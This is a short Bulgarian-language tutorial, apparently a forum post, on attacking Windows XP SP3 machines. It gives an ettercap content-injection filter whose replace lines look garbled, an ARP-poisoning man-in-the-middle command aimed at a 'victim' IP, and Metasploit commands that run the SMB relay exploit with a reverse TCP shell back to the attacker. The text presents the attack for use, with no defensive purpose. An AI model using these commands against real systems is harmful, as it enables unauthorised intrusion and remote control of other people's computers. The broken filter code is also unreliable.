Хакване на Windows PX SP3 с metasploit и ettercap!

Туториал за хакване на ЕксПи Сървиз пак 3 ...
Задължително отметката в Folder Options / simple file sharing да е махната !

Създава се smb.filter файл с код:

====================================================
if(ip.proto == TCP && tcp.dst == 80) {
if(search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same lenght as original string
msg("zapped Accept-Encoding!\n");
}
}
if(ip.proto == TCP && tcp.src == 80) {
replace("", " " ");
replace("", " " ");
msg("Filter Ran.\n");
}
=====================================================

Край на кода!
Отваряш терминала и пишешкомандата:

====================================
sudo etterfilter smb.filter -o smb.ef
====================================

изхода които трябва да ти даде е нещо такова ...:

=====================================================
etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA


12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth

11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP

Parsing source file 'smb.filter' done.

Unfolding the meta-tree done.

Converting labels to real offsets done.

Writing output to 'smb.ef' done.

-> Script encoded into 16 instructions.
=======================================================

След като вече сме генерирали филтър файла ще трябва да ползваме тази команда:

=============================================
sudo ettercap -T -q -F smb.ef -M ARP /[ипто на жертвата]/ // -P autoadd -i waln0
=============================================

този код се пише след стартиране на metasploit командите които ще напиша по доло

=============================================
sudo msfconsole
use windows/smb/smb_relay
set PAYLOAD windows/shell/reverse_tcp
set SMBHOST [ипто на жертвата]
set LHOST [твоето ип]
exploit
============================================

след това стартирате етеркапкомандата по горе!

това е :)
Видео материал -> http://www.youtube.com/watch?v=-wrMF6RcfSo